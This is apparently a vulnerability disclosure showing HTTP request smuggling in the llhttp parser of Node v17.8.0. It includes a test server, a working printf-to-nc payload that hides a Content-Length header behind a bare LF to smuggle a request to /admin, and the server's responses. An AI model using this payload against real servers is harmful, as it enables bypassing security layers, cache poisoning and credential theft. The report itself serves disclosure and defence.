Summary:
The llhttp
parser in the http
module in Node v17.8.0 does not strictly use the CRLF sequence to delimit HTTP requests. This can lead to HTTP Request Smuggling (HRS).
Description:
The LF character (without CR) is sufficient to delimit HTTP header fields in the lihttp
parser. According to RFC7230 section 3, only the CRLF sequence should delimit each header-field
.
Consider the following request (all lines are delimited by CRLF except the [\n]
part)
GET / HTTP/1.1
Host: localhost
Dummy: x[\n]Content-Length: 23
GET / HTTP/1.1
Dummy: GET /admin HTTP/1.1
Host: localhost
Suppose that an upstream server:
This leads to HTTP request smuggling as the Node server sees one extra header field, Content-Length: 23
while the upstream proxy thinks that the content length of the first request is 0.
Request as seen by the Node server:
GET / HTTP/1.1
Host: localhost
Dummy: x
Content-Length: 23
GET / HTTP/1.1
Dummy: GET /admin HTTP/1.1
Host: localhost
Server code I used for testing:
const http = require('http');
http.createServer((request, response) => {
let body = [];
request.on('error', (err) => {
response.end("error while reading body: " + err)
}).on('data', (chunk) => {
body.push(chunk);
}).on('end', () => {
body = Buffer.concat(body).toString();
response.on('error', (err) => {
response.end("error while sending response: " + err)
});
response.end(JSON.stringify({
"URL": request.url,
"Headers": request.headers,
"Length": body.length,
"Body": body,
}) + "\n");
});
}).listen(80);
Payload:
(printf "GET / HTTP/1.1\r\n"\
"Host: localhost\r\n"\
"Dummy: x\nContent-Length: 23\r\n"\
"\r\n"\
"GET / HTTP/1.1\r\n"\
"Dummy: GET /admin HTTP/1.1\r\n"\
"Host: localhost\r\n"\
"\r\n"\
"\r\n") | nc localhost 80
Expected result: Sees two requests, both to /
.
Actual result: Sees one request to /
and another to /admin
.
HTTP/1.1 200 OK
Date: Mon, 28 Mar 2022 15:51:44 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Content-Length: 124
{"URL":"/","Headers":{"host":"localhost","dummy":"x","content-length":"23"},"Length":23,"Body":"GET / HTTP/1.1\r\nDummy: "}
HTTP/1.1 200 OK
Date: Mon, 28 Mar 2022 15:51:44 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Content-Length: 69
{"URL":"/admin","Headers":{"host":"localhost"},"Length":0,"Body":""}
Depending on the specific web application, HRS can lead to cache poisoning, bypassing of security layers, stealing of credentials and so on.